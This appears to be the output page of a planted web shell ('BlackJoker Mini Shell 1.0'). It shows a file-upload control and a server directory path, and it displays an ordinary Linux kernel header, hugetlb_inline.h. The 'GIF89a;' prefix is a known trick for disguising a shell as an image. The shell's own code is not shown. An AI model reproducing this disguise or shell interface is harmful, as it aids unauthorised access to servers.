GIF89a; Mini Shell

Mini Shell

Direktori : /lib/modules/3.10.0-1160.81.1.el7.centos.plus.x86_64/source/include/linux/
Upload File :
Current File : //lib/modules/3.10.0-1160.81.1.el7.centos.plus.x86_64/source/include/linux/hugetlb_inline.h

#ifndef _LINUX_HUGETLB_INLINE_H
#define _LINUX_HUGETLB_INLINE_H

#ifdef CONFIG_HUGETLB_PAGE

#include <linux/mm.h>

static inline int is_vm_hugetlb_page(struct vm_area_struct *vma)
{
	return !!(vma->vm_flags & VM_HUGETLB);
}

#else

static inline int is_vm_hugetlb_page(struct vm_area_struct *vma)
{
	return 0;
}

#endif

#endif

./BlackJoker Mini Shell 1.0